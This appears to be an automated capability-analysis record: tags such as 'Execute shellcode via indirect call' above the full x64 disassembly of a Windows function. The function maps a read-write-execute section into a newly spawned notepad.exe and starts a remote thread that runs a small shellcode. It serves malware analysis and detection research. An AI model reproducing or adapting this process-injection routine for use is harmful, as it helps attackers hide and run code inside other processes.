Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x10], rax
movsd xmm0, qword [0x140003270]
lea rcx, str.ntdll.dll
movzx r14d, byte [0x140003278]
xor r12d, r12d
movsd qword [rsp + 0x50], xmm0
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov qword [rbp - 0x68], 9
mov qword [rbp - 0x70], 9
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x140001292
lea rdx, str.NtCreateSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtMapViewOfSection
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlCreateUserThread
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [rsp + 0x30], r12
lea r9, [rbp - 0x70]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0x58]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xe
call rbx
test eax, eax
js 0x140001297
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rsp + 0x58]
lea r8, [rsp + 0x60]
mov dword [rsp + 0x48], 4
mov rdx, rax
mov dword [rsp + 0x40], r12d
lea rax, [rbp - 0x68]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call rsi
test eax, eax
js 0x140001297
xorps xmm0, xmm0
mov dword [rbp - 0x60], 0x68
xor eax, eax
lea rdx, str._notepad.exe_
mov dword [rbp + 4], eax
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], r12d
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001292
mov r8d, dword [rbp - 0x78]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400011de
mov ebx, 0xc0000136
jmp 0x14000126f
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x68]
mov dword [rsp + 0x48], 0x20
lea r8, [rsp + 0x68]
mov dword [rsp + 0x40], r12d
xor r9d, r9d
mov dword [rsp + 0x38], 2
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call rsi
mov ebx, eax
test eax, eax
js 0x14000126f
mov rax, qword [rsp + 0x60]
xor r9d, r9d
movsd xmm0, qword [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], r12
xor edx, edx
mov rcx, rdi
movsd qword [rax], xmm0
mov byte [rax + 8], r14b
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call r15
test eax, eax
mov ebx, r12d
cmovs ebx, eax
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14000127f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14000128e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x140001297
mov eax, 0xc0000136
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400012e0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret